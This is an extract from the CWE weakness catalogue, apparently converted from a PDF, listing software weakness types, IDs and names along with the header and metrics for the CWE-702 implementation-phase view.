V	122	Heap-based Buffer Overflow
B	124	Buffer Underwrite ('Buffer Underflow')
V	130	Improper Handling of Length Parameter Inconsistency
B	184	Incomplete Blacklist
B	188	Reliance on Data/Memory Layout
B	198	Use of Incorrect Byte Ordering
C	200	Information Exposure
V	202	Exposure of Sensitive Data Through Data Queries
C	203	Information Exposure Through Discrepancy
B	204	Response Discrepancy Information Exposure
B	205	Information Exposure Through Behavioral Discrepancy
V	206	Information Exposure of Internal State Through Behavioral Inconsistency
V	207	Information Exposure Through an External Behavioral Inconsistency
B	208	Information Exposure Through Timing Discrepancy
B	209	Information Exposure Through an Error Message
B	210	Information Exposure Through Self-generated Error Message
B	211	Information Exposure Through Externally-generated Error Message
B	212	Improper Cross-boundary Removal of Sensitive Data
B	213	Intentional Information Exposure
V	214	Information Exposure Through Process Environment
V	215	Information Exposure Through Debug Information
C	216	Containment Errors (Container Errors)
V	220	Sensitive Data Under FTP Root
C	221	Information Loss or Omission
B	222	Truncation of Security-relevant Information
B	223	Omission of Security-relevant Information
B	224	Obscured Security-relevant Information by Alternate Name

Type	ID	Name
B	226	Sensitive Information Uncleared Before Release
C	227	Improper Fulfillment of API Contract ('API Abuse')
C	228	Improper Handling of Syntactically Invalid Structure
B	229	Improper Handling of Values
V	231	Improper Handling of Extra Values
V	232	Improper Handling of Undefined Values
B	233	Improper Handling of Parameters
V	234	Failure to Handle Missing Parameter
V	235	Improper Handling of Extra Parameters
V	236	Improper Handling of Undefined Parameters
V	238	Improper Handling of Incomplete Structural Elements
V	239	Failure to Handle Incomplete Element
V	240	Improper Handling of Inconsistent Structural Elements
B	241	Improper Handling of Unexpected Data Type
V	245	J2EE Bad Practices: Direct Management of Connections
V	246	J2EE Bad Practices: Direct Use of Sockets
C	250	Execution with Unnecessary Privileges
V	256	Plaintext Storage of a Password
B	257	Storing Passwords in a Recoverable Format
V	258	Empty Password in Configuration File
B	259	Use of Hard-coded Password
V	260	Password in Configuration File
V	261	Weak Cryptography for Passwords
V	262	Not Using Password Aging
B	263	Password Aging with Long Expiration
B	266	Incorrect Privilege Assignment
B	267	Privilege Defined With Unsafe Actions
B	268	Privilege Chaining
B	269	Improper Privilege Management
B	270	Privilege Context Switching Error
C	271	Privilege Dropping / Lowering Errors
B	272	Least Privilege Violation
B	273	Improper Check for Dropped Privileges
B	274	Improper Handling of Insufficient Privileges
V	276	Incorrect Default Permissions
V	277	Insecure Inherited Permissions
V	278	Insecure Preserved Inherited Permissions
V	279	Incorrect Execution-Assigned Permissions
B	280	Improper Handling of Insufficient Permissions or Privileges
B	281	Improper Preservation of Permissions
C	282	Improper Ownership Management
B	283	Unverified Ownership
C	284	Improper Access Control
C	285	Improper Authorization
C	286	Incorrect User Management
C	287	Improper Authentication
B	288	Authentication Bypass Using an Alternate Path or Channel
V	289	Authentication Bypass by Alternate Name
B	290	Authentication Bypass by Spoofing
V	291	Reliance on IP Address for Authentication

Type	ID	Name
V	293	Using Referer Field for Authentication
B	294	Authentication Bypass by Capture-replay
B	295	Improper Certificate Validation
B	296	Improper Following of a Certificate's Chain of Trust
V	297	Improper Validation of Certificate with Host Mismatch
V	298	Improper Validation of Certificate Expiration
V	299	Improper Check for Certificate Revocation
C	300	Channel Accessible by Non-Endpoint ('Man-in-the-Middle')
V	301	Reflection Attack in an Authentication Protocol
V	302	Authentication Bypass by Assumed-Immutable Data
B	304	Missing Critical Step in Authentication
B	305	Authentication Bypass by Primary Weakness
V	306	Missing Authentication for Critical Function
B	307	Improper Restriction of Excessive Authentication Attempts
B	308	Use of Single-factor Authentication
B	309	Use of Password System for Primary Authentication
B	311	Missing Encryption of Sensitive Data
B	312	Cleartext Storage of Sensitive Information
V	313	Cleartext Storage in a File or on Disk
V	314	Cleartext Storage in the Registry
V	315	Cleartext Storage of Sensitive Information in a Cookie
V	316	Cleartext Storage of Sensitive Information in Memory
V	317	Cleartext Storage of Sensitive Information in GUI
V	318	Cleartext Storage of Sensitive Information in Executable
B	319	Cleartext Transmission of Sensitive Information
B	321	Use of Hard-coded Cryptographic Key
B	322	Key Exchange without Entity Authentication
B	323	Reusing a Nonce, Key Pair in Encryption
B	324	Use of a Key Past its Expiration Date
B	325	Missing Required Cryptographic Step
C	326	Inadequate Encryption Strength
B	327	Use of a Broken or Risky Cryptographic Algorithm
B	328	Reversible One-Way Hash
V	329	Not Using a Random IV with CBC Mode
C	330	Use of Insufficiently Random Values
B	331	Insufficient Entropy
V	332	Insufficient Entropy in PRNG
V	333	Improper Handling of Insufficient Entropy in TRNG
B	334	Small Space of Random Values
C	335	PRNG Seed Error
B	336	Same Seed in PRNG
B	337	Predictable Seed in PRNG
B	338	Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG)
B	339	Small Seed Space in PRNG
C	340	Predictability Problems
B	341	Predictable from Observable State
B	342	Predictable Exact Value from Previous Values
B	343	Predictable Value Range from Previous Values
B	344	Use of Invariant Value in Dynamically Changing Context
C	345	Insufficient Verification of Data Authenticity

Type	ID	Name
B	346	Origin Validation Error
B	347	Improper Verification of Cryptographic Signature
B	348	Use of Less Trusted Source
B	349	Acceptance of Extraneous Untrusted Data With Trusted Data
V	350	Reliance on Reverse DNS Resolution for a Security-Critical Action
A	352	Cross-Site Request Forgery (CSRF)
B	353	Missing Support for Integrity Check
B	354	Improper Validation of Integrity Check Value
B	356	Product UI does not Warn User of Unsafe Actions
B	357	Insufficient UI Warning of Dangerous Operations
B	358	Improperly Implemented Security Check for Standard
C	359	Exposure of Private Information ('Privacy Violation')
B	360	Trust of System Event Data
C	362	Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
B	363	Race Condition Enabling Link Following
B	364	Signal Handler Race Condition
B	366	Race Condition within a Thread
B	368	Context Switching Race Condition
B	370	Missing Check for Certificate Revocation after Initial Check
B	372	Incomplete Internal State Distinction
B	377	Insecure Temporary File
B	378	Creation of Temporary File With Insecure Permissions
B	379	Creation of Temporary File in Directory with Incorrect Permissions
V	383	J2EE Bad Practices: Direct Use of Threads
A	384	Session Fixation
B	385	Covert Timing Channel
B	386	Symbolic Name not Mapping to Correct Object
C	390	Detection of Error Condition Without Action
B	391	Unchecked Error Condition
B	392	Missing Report of Error Condition
B	393	Return of Wrong Status Code
B	394	Unexpected Status Code or Return Value
B	396	Declaration of Catch for Generic Exception
B	397	Declaration of Throws for Generic Exception
C	398	Indicator of Poor Code Quality
B	400	Uncontrolled Resource Consumption ('Resource Exhaustion')
B	401	Improper Release of Memory Before Removing Last Reference ('Memory Leak')
C	402	Transmission of Private Resources into a New Sphere ('Resource Leak')
B	403	Exposure of File Descriptor to Unintended Control Sphere ('File Descriptor Leak')
B	404	Improper Resource Shutdown or Release
C	405	Asymmetric Resource Consumption (Amplification)
B	406	Insufficient Control of Network Message Volume (Network Amplification)
B	407	Algorithmic Complexity
B	408	Incorrect Behavior Order: Early Amplification
B	409	Improper Handling of Highly Compressed Data (Data Amplification)
B	410	Insufficient Resource Pool
B	412	Unrestricted Externally Accessible Lock
B	413	Improper Resource Locking
B	414	Missing Lock Check
V	415	Double Free

Type	ID	Name
B	416	Use After Free
B	419	Unprotected Primary Channel
B	420	Unprotected Alternate Channel
B	421	Race Condition During Access to Alternate Channel
V	422	Unprotected Windows Messaging Channel ('Shatter')
G	424	Improper Protection of Alternate Path
B	425	Direct Request ('Forced Browsing')
B	426	Untrusted Search Path
B	432	Dangerous Signal Handler not Disabled During Sensitive Operations
B	434	Unrestricted Upload of File with Dangerous Type
G	435	Interaction Error
B	436	Interpretation Conflict
B	437	Incomplete Model of Endpoint Features
B	439	Behavioral Change in New Version or Environment
B	440	Expected Behavior Violation
G	441	Unintended Proxy or Intermediary ('Confused Deputy')
B	444	Inconsistent Interpretation of HTTP Requests ('HTTP Request Smuggling')
B	446	UI Discrepancy for Security Feature
B	447	Unimplemented or Unsupported Feature in UI
B	450	Multiple Interpretations of UI Input
B	451	User Interface (UI) Misrepresentation of Critical Information
B	453	Insecure Default Variable Initialization
B	454	External Initialization of Trusted Variables or Data Stores
B	455	Non-exit on Failed Initialization
B	459	Incomplete Cleanup
B	462	Duplicate Key in Associative List (Alist)
B	463	Deletion of Data Structure Sentinel
B	464	Addition of Data Structure Sentinel
B	466	Return of Pointer Value Outside of Expected Range
B	470	Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')
B	471	Modification of Assumed-Immutable Data (MAID)
B	474	Use of Function with Inconsistent Implementations
B	475	Undefined Behavior for Input to API
V	479	Signal Handler Use of a Non-reentrant Function
G	485	Insufficient Encapsulation
B	494	Download of Code Without Integrity Check
B	501	Trust Boundary Violation
V	502	Deserialization of Untrusted Data
B	510	Trapdoor
B	511	Logic/Time Bomb
B	512	Spyware
C	518	Inadvertently Introduced Weakness
V	520	.NET Misconfiguration: Use of Impersonation
B	521	Weak Password Requirements
B	522	Insufficiently Protected Credentials
V	523	Unprotected Transport of Credentials
V	526	Information Exposure Through Environmental Variables
V	532	Information Exposure Through Log Files
V	535	Information Exposure Through Shell Error Message
V	539	Information Exposure Through Persistent Cookies
V	542	Information Exposure Through Cleanup Log Files



Type	ID	Name
B	544	Missing Standardized Error Handling Mechanism
V	545	Use of Dynamic Class Loading
V	554	ASP.NET Misconfiguration: Not Using Input Validation Framework
V	555	J2EE Misconfiguration: Plaintext Password in Configuration File
V	564	SQL Injection: Hibernate
B	565	Reliance on Cookies without Validation and Integrity Checking
V	566	Authorization Bypass Through User-Controlled SQL Primary Key
B	567	Unsynchronized Access to Shared Data in a Multithreaded Context
V	574	EJB Bad Practices: Use of Synchronization Primitives
V	575	EJB Bad Practices: Use of AWT Swing
V	576	EJB Bad Practices: Use of Java I/O
V	577	EJB Bad Practices: Use of Sockets
V	578	EJB Bad Practices: Use of Class Loader
V	579	J2EE Bad Practices: Non-serializable Object Stored in Session
B	587	Assignment of a Fixed Address to a Pointer
V	588	Attempt to Access Child of a Non-structure Pointer
V	589	Call to Non-ubiquitous API
G	592	Authentication Bypass Issues
V	593	Authentication Bypass: OpenSSL CTX Object Modified after SSL Objects are Created
V	594	J2EE Framework: Saving Unserializable Objects to Disk
V	598	Information Exposure Through Query Strings in GET Request
V	599	Missing Validation of OpenSSL Certificate
V	601	URL Redirection to Untrusted Site ('Open Redirect')
B	602	Client-Side Enforcement of Server-Side Security
B	603	Use of Client-Side Authentication
B	605	Multiple Binds to the Same Port
G	610	Externally Controlled Reference to a Resource in Another Sphere
V	612	Information Exposure Through Indexing of Private Data
B	613	Insufficient Session Expiration
B	618	Exposed Unsafe ActiveX Method
V	620	Unverified Password Change
V	623	Unsafe ActiveX Control Marked Safe For Scripting
G	636	Not Failing Securely ('Failing Open')
G	637	Unnecessary Complexity in Protection Mechanism (Not Using 'Economy of Mechanism')
G	638	Not Using Complete Mediation
B	639	Authorization Bypass Through User-Controlled Key
B	640	Weak Password Recovery Mechanism for Forgotten Password
B	641	Improper Restriction of Names for Files and Other Resources
G	642	External Control of Critical State Data
V	644	Improper Neutralization of HTTP Headers for Scripting Syntax
B	645	Overly Restrictive Account Lockout Mechanism
V	646	Reliance on File Name or Extension of Externally-Supplied File
V	647	Use of Non-Canonical URL Paths for Authorization Decisions
B	648	Incorrect Use of Privileged APIs
B	649	Reliance on Obfuscation or Encryption of Security-Relevant Inputs without Integrity Checking
V	650	Trusting HTTP Permission Methods on the Server Side
V	651	Information Exposure Through WSDL File
B	653	Insufficient Compartmentalization
B	654	Reliance on a Single Factor in a Security Decision



Type	ID	Name
B	655	Insufficient Psychological Acceptability
B	656	Reliance on Security Through Obscurity
C	657	Violation of Secure Design Principles
B	662	Improper Synchronization
B	663	Use of a Non-reentrant Function in a Concurrent Context
B	667	Improper Locking
C	668	Exposure of Resource to Wrong Sphere
C	669	Incorrect Resource Transfer Between Spheres
C	670	Always-Incorrect Control Flow Implementation
C	671	Lack of Administrator Control over Security
B	672	Operation on a Resource after Expiration or Release
C	673	External Influence of Sphere Definition
B	674	Uncontrolled Recursion
B	676	Use of Potentially Dangerous Function
C	682	Incorrect Calculation
C	691	Insufficient Control Flow Management
C	693	Protection Mechanism Failure
B	694	Use of Multiple Resources with Duplicate Identifier
B	695	Use of Low-Level Functionality
C	696	Incorrect Behavior Order
C	703	Improper Check or Handling of Exceptional Conditions
C	704	Incorrect Type Conversion or Cast
C	705	Incorrect Control Flow Scoping
C	706	Use of Incorrectly-Resolved Name or Reference
C	707	Improper Enforcement of Message or Data Structure
B	708	Incorrect Ownership Assignment
C	710	Coding Standards Violation
C	732	Incorrect Permission Assignment for Critical Resource
B	749	Exposed Dangerous Method or Function
V	764	Multiple Locks of a Critical Resource
V	766	Critical Variable Declared Public
V	767	Access to Critical Private Variable via Public Method
C	769	File Descriptor Exhaustion
B	770	Allocation of Resources Without Limits or Throttling
B	771	Missing Reference to Active Allocated Resource
B	772	Missing Release of Resource after Effective Lifetime
V	773	Missing Reference to Active File Descriptor or Handle
V	774	Allocation of File Descriptors or Handles Without Limits or Throttling
V	780	Use of RSA Algorithm without OAEP
V	781	Improper Address Validation in IOCTL with METHOD_NEITHER I/O Control Code
V	782	Exposed IOCTL with Insufficient Access Control
V	784	Reliance on Cookies without Validation and Integrity Checking in a Security Decision
V	789	Uncontrolled Memory Allocation
B	798	Use of Hard-coded Credentials
C	799	Improper Control of Interaction Frequency
B	804	Guessable CAPTCHA
B	807	Reliance on Untrusted Inputs in a Security Decision
C	862	Missing Authorization
C	863	Incorrect Authorization
C	912	Hidden Functionality

Type	ID	Name
	913	Improper Control of Dynamically-Managed Code Resources
	914	Improper Control of Dynamically-Identified Variables
	915	Improperly Controlled Modification of Dynamically-Determined Object Attributes
	916	Use of Password Hash With Insufficient Computational Effort
	917	Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection')
	918	Server-Side Request Forgery (SSRF)
	920	Improper Restriction of Power Consumption
	921	Storage of Sensitive Data in a Mechanism without Access Control
	922	Insecure Storage of Sensitive Information
	923	Improper Restriction of Communication Channel to Intended Endpoints
	924	Improper Enforcement of Message Integrity During Transmission in a Communication Channel
	925	Improper Verification of Intent by Broadcast Receiver
	926	Improper Export of Android Application Components
	927	Use of Implicit Intent for Sensitive Communication
	940	Improper Verification of Source of a Communication Channel
	941	Incorrectly Specified Destination in a Communication Channel
	942	Overly Permissive Cross-domain Whitelist

## Relationships

Nature	Type	ID	Name	Page
MemberOf		699	Development Concepts	699 1081

## CWE-702: Weaknesses Introduced During Implementation

View ID: 702 (View: *Implicit Slice*)

Status: Incomplete

## Objective

This view (slice) lists weaknesses that can be introduced during implementation.

## View Data

## Filter Used:

```
./Introductory_Phase='Implementation'
```

## View Metrics

	CWEs in this view		Total CWEs
<b>Total</b>	<b>604</b>	out of	1003
<b>Views</b>	0	out of	32
<b>Categories</b>	4	out of	244
<b>Weaknesses</b>	596	out of	719
<b>Compound_Elements</b>	4	out of	8



















































## CWEs Included in this View

Type	ID	Name
	5	J2EE Misconfiguration: Data Transmission Without Encryption
	6	J2EE Misconfiguration: Insufficient Session-ID Length
	7	J2EE Misconfiguration: Missing Custom Error Page
	8	J2EE Misconfiguration: Entity Bean Declared Remote
	9	J2EE Misconfiguration: Weak Access Permissions for EJB Methods
	11	ASP.NET Misconfiguration: Creating Debug Binary
	12	ASP.NET Misconfiguration: Missing Custom Error Page
	13	ASP.NET Misconfiguration: Password in Configuration File
	14	Compiler Removal of Code to Clear Buffers
	15	External Control of System or Configuration Setting
	20	Improper Input Validation
	22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Type	ID	Name
B	23	Relative Path Traversal
V	24	Path Traversal: '../filedir'
V	25	Path Traversal: '/../filedir'
V	26	Path Traversal: '/dir../filename'
V	27	Path Traversal: 'dir../filename'
V	28	Path Traversal: '..filedir'
V	29	Path Traversal: '\\.filename'
V	30	Path Traversal: 'dir\\.filename'
V	31	Path Traversal: 'dir\\.\\.filename'
V	32	Path Traversal: '...' (Triple Dot)
V	33	Path Traversal: '....' (Multiple Dot)
V	34	Path Traversal: '.../'
V	35	Path Traversal: '.../.../'
B	36	Absolute Path Traversal
V	37	Path Traversal: '/absolute/pathname/here'
V	38	Path Traversal: '\\absolute\\pathname\\here'
V	39	Path Traversal: 'C:dirname'
V	40	Path Traversal: '\\UNC\\share\\name\\' (Windows UNC Share)
B	41	Improper Resolution of Path Equivalence
V	42	Path Equivalence: 'filename.' (Trailing Dot)
V	43	Path Equivalence: 'filename....' (Multiple Trailing Dot)
V	44	Path Equivalence: 'file.name' (Internal Dot)
V	45	Path Equivalence: 'file...name' (Multiple Internal Dot)
V	46	Path Equivalence: 'filename ' (Trailing Space)
V	47	Path Equivalence: ' filename' (Leading Space)
V	48	Path Equivalence: 'file name' (Internal Whitespace)
V	49	Path Equivalence: 'filename/' (Trailing Slash)
V	50	Path Equivalence: '//multiple/leading/slash'
V	51	Path Equivalence: '/multiple//internal/slash'
V	52	Path Equivalence: '/multiple/trailing/slash/'
V	53	Path Equivalence: '\\multiple\\internal\\backslash'
V	54	Path Equivalence: 'filedir\\' (Trailing Backslash)
V	55	Path Equivalence: './' (Single Dot Directory)
V	56	Path Equivalence: 'filedir*' (Wildcard)
V	57	Path Equivalence: 'fakedir/.../readdir/filename'
V	58	Path Equivalence: Windows 8.3 Filename
B	59	Improper Link Resolution Before File Access ('Link Following')
3	61	UNIX Symbolic Link (Symlink) Following
V	62	UNIX Hard Link
V	65	Windows Hard Link
B	66	Improper Handling of File Names that Identify Virtual Resources
V	67	Improper Handling of Windows Device Names
V	69	Improper Handling of Windows ::DATA Alternate Data Stream
V	71	Apple '.DS_Store'
V	72	Improper Handling of Apple HFS+ Alternate Data Stream Path
G	73	External Control of File Name or Path
G	74	Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
G	75	Failure to Sanitize Special Elements into a Different Plane (Special Element Injection)
B	76	Improper Neutralization of Equivalent Special Elements
G	77	Improper Neutralization of Special Elements used in a Command ('Command Injection')

Type	ID	Name
B	78	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
B	79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
V	80	Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)
V	81	Improper Neutralization of Script in an Error Message Web Page
V	82	Improper Neutralization of Script in Attributes of IMG Tags in a Web Page
V	83	Improper Neutralization of Script in Attributes in a Web Page
V	84	Improper Neutralization of Encoded URI Schemes in a Web Page
V	85	Doubled Character XSS Manipulations
V	86	Improper Neutralization of Invalid Characters in Identifiers in Web Pages
V	87	Improper Neutralization of Alternate XSS Syntax
B	88	Argument Injection or Modification
B	89	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
B	90	Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')
B	91	XML Injection (aka Blind XPath Injection)
B	93	Improper Neutralization of CRLF Sequences ('CRLF Injection')
G	94	Improper Control of Generation of Code ('Code Injection')
B	95	Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')
B	96	Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')
V	97	Improper Neutralization of Server-Side Includes (SSI) Within a Web Page
B	98	Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')
B	99	Improper Control of Resource Identifiers ('Resource Injection')
C	100	Technology-Specific Input Validation Problems
V	102	Struts: Duplicate Validation Forms
V	103	Struts: Incomplete validate() Method Definition
V	104	Struts: Form Bean Does Not Extend Validation Class
V	105	Struts: Form Field Without Validator
V	106	Struts: Plug-in Framework not in Use
V	107	Struts: Unused Validation Form
V	108	Struts: Unvalidated Action Form
V	109	Struts: Validator Turned Off
V	110	Struts: Validator Without Form Field
B	111	Direct Use of Unsafe JNI
B	112	Missing XML Validation
B	113	Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting')
B	114	Process Control
B	115	Misinterpretation of Input
G	116	Improper Encoding or Escaping of Output
B	117	Improper Output Neutralization for Logs
G	118	Improper Access of Indexable Resource ('Range Error')
G	119	Improper Restriction of Operations within the Bounds of a Memory Buffer
B	120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')
V	121	Stack-based Buffer Overflow
V	122	Heap-based Buffer Overflow
B	123	Write-what-where Condition
B	124	Buffer Underwrite ('Buffer Underflow')
B	125	Out-of-bounds Read
V	126	Buffer Over-read
V	127	Buffer Under-read

Type	ID	Name
B	128	Wrap-around Error
B	129	Improper Validation of Array Index
V	130	Improper Handling of Length Parameter Inconsistency
B	131	Incorrect Calculation of Buffer Size
B	134	Uncontrolled Format String
B	135	Incorrect Calculation of Multi-Byte String Length
C	138	Improper Neutralization of Special Elements
B	140	Improper Neutralization of Delimiters
V	141	Improper Neutralization of Parameter/Argument Delimiters
V	142	Improper Neutralization of Value Delimiters
V	143	Improper Neutralization of Record Delimiters
V	144	Improper Neutralization of Line Delimiters
V	145	Improper Neutralization of Section Delimiters
V	146	Improper Neutralization of Expression/Command Delimiters
V	147	Improper Neutralization of Input Terminators
V	148	Improper Neutralization of Input Leaders
V	149	Improper Neutralization of Quoting Syntax
V	150	Improper Neutralization of Escape, Meta, or Control Sequences
V	151	Improper Neutralization of Comment Delimiters
V	152	Improper Neutralization of Macro Symbols
V	153	Improper Neutralization of Substitution Characters
V	154	Improper Neutralization of Variable Name Delimiters
V	155	Improper Neutralization of Wildcards or Matching Symbols
V	156	Improper Neutralization of Whitespace
V	157	Failure to Sanitize Paired Delimiters
V	158	Improper Neutralization of Null Byte or NUL Character
C	159	Failure to Sanitize Special Element
V	160	Improper Neutralization of Leading Special Elements
V	161	Improper Neutralization of Multiple Leading Special Elements
V	162	Improper Neutralization of Trailing Special Elements
V	163	Improper Neutralization of Multiple Trailing Special Elements
V	164	Improper Neutralization of Internal Special Elements
V	165	Improper Neutralization of Multiple Internal Special Elements
B	166	Improper Handling of Missing Special Element
B	167	Improper Handling of Additional Special Element
B	168	Improper Handling of Inconsistent Special Elements
B	170	Improper Null Termination
C	172	Encoding Error
V	173	Improper Handling of Alternate Encoding
V	174	Double Decoding of the Same Data
V	175	Improper Handling of Mixed Encoding
V	176	Improper Handling of Unicode Encoding
V	177	Improper Handling of URL Encoding (Hex Encoding)
B	178	Improper Handling of Case Sensitivity
B	179	Incorrect Behavior Order: Early Validation
B	180	Incorrect Behavior Order: Validate Before Canonicalize
B	181	Incorrect Behavior Order: Validate Before Filter
B	182	Collapse of Data into Unsafe Value
B	183	Permissive Whitelist
B	184	Incomplete Blacklist

Type	ID	Name
	185	Incorrect Regular Expression
	186	Overly Restrictive Regular Expression
	187	Partial Comparison
	188	Reliance on Data/Memory Layout
	190	Integer Overflow or Wraparound
	191	Integer Underflow (Wrap or Wraparound)
	192	Integer Coercion Error
	193	Off-by-one Error
	194	Unexpected Sign Extension
	195	Signed to Unsigned Conversion Error
	196	Unsigned to Signed Conversion Error
	197	Numeric Truncation Error
	198	Use of Incorrect Byte Ordering
	200	Information Exposure
	201	Information Exposure Through Sent Data
	202	Exposure of Sensitive Data Through Data Queries
	203	Information Exposure Through Discrepancy
	204	Response Discrepancy Information Exposure
	205	Information Exposure Through Behavioral Discrepancy
	206	Information Exposure of Internal State Through Behavioral Inconsistency
	207	Information Exposure Through an External Behavioral Inconsistency
	208	Information Exposure Through Timing Discrepancy
	209	Information Exposure Through an Error Message
	210	Information Exposure Through Self-generated Error Message
	211	Information Exposure Through Externally-generated Error Message
	212	Improper Cross-boundary Removal of Sensitive Data
	213	Intentional Information Exposure
	214	Information Exposure Through Process Environment
	215	Information Exposure Through Debug Information
	216	Containment Errors (Container Errors)
	219	Sensitive Data Under Web Root
	221	Information Loss or Omission
	222	Truncation of Security-relevant Information
	223	Omission of Security-relevant Information
	224	Obscured Security-relevant Information by Alternate Name
	226	Sensitive Information Uncleared Before Release
	227	Improper Fulfillment of API Contract ('API Abuse')
	228	Improper Handling of Syntactically Invalid Structure
	229	Improper Handling of Values
	230	Improper Handling of Missing Values
	231	Improper Handling of Extra Values
	232	Improper Handling of Undefined Values
	233	Improper Handling of Parameters
	234	Failure to Handle Missing Parameter
	235	Improper Handling of Extra Parameters
	236	Improper Handling of Undefined Parameters
	238	Improper Handling of Incomplete Structural Elements
	239	Failure to Handle Incomplete Element
	240	Improper Handling of Inconsistent Structural Elements
	241	Improper Handling of Unexpected Data Type



Type	ID	Name
B	242	Use of Inherently Dangerous Function
V	243	Creation of chroot Jail Without Changing Working Directory
V	244	Improper Clearing of Heap Memory Before Release ('Heap Inspection')
V	245	J2EE Bad Practices: Direct Management of Connections
V	246	J2EE Bad Practices: Direct Use of Sockets
B	248	Uncaught Exception
B	252	Unchecked Return Value
B	253	Incorrect Check of Function Return Value
V	258	Empty Password in Configuration File
B	259	Use of Hard-coded Password
V	260	Password in Configuration File
B	266	Incorrect Privilege Assignment
B	267	Privilege Defined With Unsafe Actions
B	268	Privilege Chaining
B	269	Improper Privilege Management
B	270	Privilege Context Switching Error
C	271	Privilege Dropping / Lowering Errors
B	272	Least Privilege Violation
B	273	Improper Check for Dropped Privileges
B	274	Improper Handling of Insufficient Privileges
V	276	Incorrect Default Permissions
V	277	Insecure Inherited Permissions
B	280	Improper Handling of Insufficient Permissions or Privileges
B	281	Improper Preservation of Permissions
C	284	Improper Access Control
C	285	Improper Authorization
C	286	Incorrect User Management
C	287	Improper Authentication
V	289	Authentication Bypass by Alternate Name
B	290	Authentication Bypass by Spoofing
B	295	Improper Certificate Validation
V	302	Authentication Bypass by Assumed-Immutable Data
B	303	Incorrect Implementation of Authentication Algorithm
B	304	Missing Critical Step in Authentication
B	305	Authentication Bypass by Primary Weakness
V	318	Cleartext Storage of Sensitive Information in Executable
V	329	Not Using a Random IV with CBC Mode
C	330	Use of Insufficiently Random Values
B	331	Insufficient Entropy
V	332	Insufficient Entropy in PRNG
V	333	Improper Handling of Insufficient Entropy in TRNG
B	334	Small Space of Random Values
C	335	PRNG Seed Error
B	336	Same Seed in PRNG
B	337	Predictable Seed in PRNG
B	338	Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG)
B	339	Small Seed Space in PRNG
C	340	Predictability Problems
B	341	Predictable from Observable State
B	342	Predictable Exact Value from Previous Values



Type	ID	Name
B	343	Predictable Value Range from Previous Values
B	344	Use of Invariant Value in Dynamically Changing Context
C	345	Insufficient Verification of Data Authenticity
B	346	Origin Validation Error
B	347	Improper Verification of Cryptographic Signature
B	348	Use of Less Trusted Source
B	349	Acceptance of Extraneous Untrusted Data With Trusted Data
B	351	Insufficient Type Distinction
B	353	Missing Support for Integrity Check
B	354	Improper Validation of Integrity Check Value
B	356	Product UI does not Warn User of Unsafe Actions
B	357	Insufficient UI Warning of Dangerous Operations
B	358	Improperly Implemented Security Check for Standard
C	359	Exposure of Private Information ('Privacy Violation')
B	360	Trust of System Event Data
C	362	Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
B	363	Race Condition Enabling Link Following
B	364	Signal Handler Race Condition
B	365	Race Condition in Switch
B	366	Race Condition within a Thread
B	367	Time-of-check Time-of-use (TOCTOU) Race Condition
B	368	Context Switching Race Condition
B	369	Divide By Zero
B	370	Missing Check for Certificate Revocation after Initial Check
B	372	Incomplete Internal State Distinction
B	374	Passing Mutable Objects to an Untrusted Method
B	375	Returning a Mutable Object to an Untrusted Caller
B	377	Insecure Temporary File
B	378	Creation of Temporary File With Insecure Permissions
B	379	Creation of Temporary File in Directory with Incorrect Permissions
V	382	J2EE Bad Practices: Use of System.exit()
V	383	J2EE Bad Practices: Direct Use of Threads
⚙️	384	Session Fixation
B	385	Covert Timing Channel
B	386	Symbolic Name not Mapping to Correct Object
C	390	Detection of Error Condition Without Action
B	391	Unchecked Error Condition
B	392	Missing Report of Error Condition
B	393	Return of Wrong Status Code
B	394	Unexpected Status Code or Return Value
B	395	Use of NullPointerException Catch to Detect NULL Pointer Dereference
B	396	Declaration of Catch for Generic Exception
B	397	Declaration of Throws for Generic Exception
C	398	Indicator of Poor Code Quality
B	400	Uncontrolled Resource Consumption ('Resource Exhaustion')
B	401	Improper Release of Memory Before Removing Last Reference ('Memory Leak')
C	402	Transmission of Private Resources into a New Sphere ('Resource Leak')
B	403	Exposure of File Descriptor to Unintended Control Sphere ('File Descriptor Leak')
B	404	Improper Resource Shutdown or Release
C	405	Asymmetric Resource Consumption (Amplification)

Type	ID	Name
B	406	Insufficient Control of Network Message Volume (Network Amplification)
B	407	Algorithmic Complexity
B	408	Incorrect Behavior Order: Early Amplification
B	409	Improper Handling of Highly Compressed Data (Data Amplification)
B	410	Insufficient Resource Pool
B	412	Unrestricted Externally Accessible Lock
B	413	Improper Resource Locking
B	414	Missing Lock Check
V	415	Double Free
B	416	Use After Free
B	419	Unprotected Primary Channel
B	420	Unprotected Alternate Channel
B	425	Direct Request ('Forced Browsing')
B	426	Untrusted Search Path
B	427	Uncontrolled Search Path Element
B	428	Unquoted Search Path or Element
B	430	Deployment of Wrong Handler
B	431	Missing Handler
B	432	Dangerous Signal Handler not Disabled During Sensitive Operations
V	433	Unparsed Raw Web Content Delivery
B	434	Unrestricted Upload of File with Dangerous Type
C	435	Interaction Error
B	436	Interpretation Conflict
B	437	Incomplete Model of Endpoint Features
B	439	Behavioral Change in New Version or Environment
B	440	Expected Behavior Violation
B	444	Inconsistent Interpretation of HTTP Requests ('HTTP Request Smuggling')
B	446	UI Discrepancy for Security Feature
B	447	Unimplemented or Unsupported Feature in UI
B	448	Obsolete Feature in UI
B	449	The UI Performs the Wrong Action
B	450	Multiple Interpretations of UI Input
B	451	User Interface (UI) Misrepresentation of Critical Information
B	453	Insecure Default Variable Initialization
B	454	External Initialization of Trusted Variables or Data Stores
B	455	Non-exit on Failed Initialization
B	456	Missing Initialization of a Variable
V	457	Use of Uninitialized Variable
B	459	Incomplete Cleanup
